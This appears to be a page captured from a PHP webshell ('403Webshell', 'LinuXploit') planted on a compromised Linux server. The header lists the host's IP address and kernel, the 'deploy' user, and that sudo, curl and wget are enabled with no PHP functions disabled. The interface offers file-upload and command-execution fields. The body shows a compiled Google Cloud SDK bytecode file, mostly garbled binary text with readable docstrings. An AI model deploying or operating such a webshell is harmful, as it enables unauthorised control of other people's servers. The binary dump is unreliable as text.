403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/config/__pycache__/set.cpython-311.pyc
�

�������dZddlmZddlmZddlmZddlmZddlmZddl	m
Z
ddl	mZdd	l	mZdd
l
mZddl
mZddlmZdd
lmZejGd�dej����ZdS)zCommand to set properties.�)�absolute_import)�division)�unicode_literals)�base)�
exceptions)�
completers)�config_validators)�flags)�log)�
properties)�
console_io)�storec�d�eZdZdZdej���iZed���Z	d�Z
dS)�SetadSet a Google Cloud CLI property.

  {command} sets the specified property in your active configuration only. A
  property governs the behavior of a specific aspect of Google Cloud CLI such as
  the service account to use or the verbosity level of logs. To
  set the property across all configurations, use the `--installation` flag. For
  more information regarding creating and using configurations, see
  `gcloud topic configurations`.

  To view a list of properties currently in use, run `gcloud config list`.

  To unset properties, use `gcloud config unset`.

  Google Cloud CLI comes with a `default` configuration. To create multiple
  configurations, use `gcloud config configurations create`, and
  `gcloud config configurations activate` to switch between them.

  Note: If you are using Cloud Shell, your gcloud command-line tool preferences
  are stored in a temporary `tmp` folder, set for your current tab only, and do
  not persist across sessions. For details on how to make these configurations
  persist, refer to the Cloud Shell
  guide on setting gcloud command-line tool preferences:
  https://cloud.google.com/shell/docs/configuring-cloud-shell#gcloud_command-line_tool_preferences.

  ## AVAILABLE PROPERTIES

  {properties}

  ## EXAMPLES

  To set the `project` property in the core section, run:

    $ {command} project PROJECT_ID

  To set the `zone` property in the `compute` section, run:

    $ {command} compute/zone ZONE_NAME

  To disable prompting for scripting, run:

    $ {command} disable_prompts true

  To set a proxy with the appropriate type, and specify the address and port on
  which to reach it, run:

    $ {command} proxy/type http
    $ {command} proxy/address 1.234.56.78
    $ {command} proxy/port 8080

  For a full list of accepted values, see
  https://cloud.google.com/sdk/gcloud/reference/topic/configurations#AVAILABLE-PROPERTIES.
  rc���|�ddtjd���|�dtjd���tj�|��dS)	zAdds args for this command.�propertyzSECTION/PROPERTYadProperty to be set. Note that SECTION/ is optional while referring to properties in the core section, i.e., using either `core/project` or `project` is a valid way of setting a project. Using section names is required for setting other properties like `compute/region`. Consult the Available Properties section below for a comprehensive list of properties.)�metavar�	completer�help�valuezValue to be set.)rrN)�add_argumentr�PropertiesCompleter�PropertyValueCompleterr
�INSTALLATION_FLAG�AddToParser)�parsers �lib/surface/config/set.py�ArgszSet.ArgsZs|������"��0�2�	�	3�	3�	3������3�
��!�!�!�

��'�'��/�/�/�/�/�c�,�|jrtjjntjj}tj|j��}|stjdd���d}|jrd}|tj	j
jkrtj
|j��d}|tj	jjkr3tj|j��tj||j��}|tj	jjkrtj|jd���}|tj	jjkrtj|jd���}|jtj	jjkrtj|j|��}d}|tj	jjkr3t9j|j��}tj|j|��}|tj	jjkr4tj |j��}tj!|j��p|}|rJ|j"sCtGj$��r0tGj%d�&|||j����sdStj'||j|�	��tPj)�*d
�&||����|rN|rNtj'tj	jj||�	��tPj)�*d��dSdSdS)Nrz'Must be in the form: [SECTION/]PROPERTY�z
installation FT)�zonalz6Are you sure you wish to set {0}property [{1}] to {2}?)�scopezUpdated {0}property [{1}].z(Updated [core/universe_domain] to match.)+�installationr�Scope�INSTALLATION�USER�
FromStringr�c_exc�InvalidArgumentException�VALUES�
context_aware�use_client_certificater	�"WarnIfActivateUseClientCertificater�core�project�!WarnIfSettingProjectWhenAdcExists� WarnIfSettingProjectWithNoAccess�compute�zone�"WarnIfSettingNonExistentRegionZone�region�section�api_endpoint_overrides�name�7WarnIfSettingApiEndpointOverrideOutsideOfConfigUniverse�account�c_store�$GetCredentialedAccountUniverseDomain�+WarnIfSettingAccountOutsideOfConfigUniverse�universe_domain�9WarnIfSettingUniverseDomainOutsideOfConfigAccountUniverse�/WarnIfSettingUniverseDomainWithNoDescriptorData�quietr
�	CanPrompt�PromptContinue�format�PersistPropertyr�status�Print)�self�argsr#�prop�	scope_msg�showed_warning�cred_account_universe_domains       r�RunzSet.Runns*��.2�.?�(�Z�
�
*�
*��"�'�
�� ���/�/�D��A��*�
�?�
A�
A�A��I���"�!�i��z� �.�E�E�E��:�4�:�F�F�F��N��z� �%�-�-�-��9�$�*�E�E�E�(�I�
�����n��z� �(�-�-�-�(�K�
�*�D�"�"�"�n��z� �(�/�/�/�(�K�
�*�E�#�#�#�n��|�z�(�?�D�D�D�(�`�
�*�d���n�$(� ��z� �%�-�-�-�
�
6�t�z�
B�
B�#��
G��j�6����
�z� �%�5�5�5�(�b�
�*���n��
K��j�����	���d�j��Z�-A�-C�-C��
�
&�
B�
I�
I���t�z������
	����t�T�Z�u�=�=�=�=��J���1�8�8��D�I�I�J�J�J�#�C��C�� �
�
�
 �
0�
&������

�j���A�B�B�B�B�B�
C�C�C�CrN)�__name__�
__module__�__qualname__�__doc__rr+�
GetHelpString�
detailed_help�staticmethodrrO�rrrr!sl������3�3�j ��!2�!@�!@�!B�!B�C�-��0�0��<�0�&DC�DC�DC�DC�DCrrN)rS�
__future__rrr�googlecloudsdk.callioperrr)�!googlecloudsdk.command_lib.configrr	r
�googlecloudsdk.corerr�googlecloudsdk.core.consoler
�googlecloudsdk.core.credentialsrr<�UniverseCompatible�CommandrrWrr�<module>r`s?�� !� �&�&�&�&�&�&�������'�'�'�'�'�'�(�(�(�(�(�(�7�7�7�7�7�7�8�8�8�8�8�8�?�?�?�?�?�?�3�3�3�3�3�3�#�#�#�#�#�#�*�*�*�*�*�*�2�2�2�2�2�2�<�<�<�<�<�<���PC�PC�PC�PC�PC�$�,�PC�PC���PC�PC�PCr

Youez - 2016 - github.com/yon3zu
LinuXploit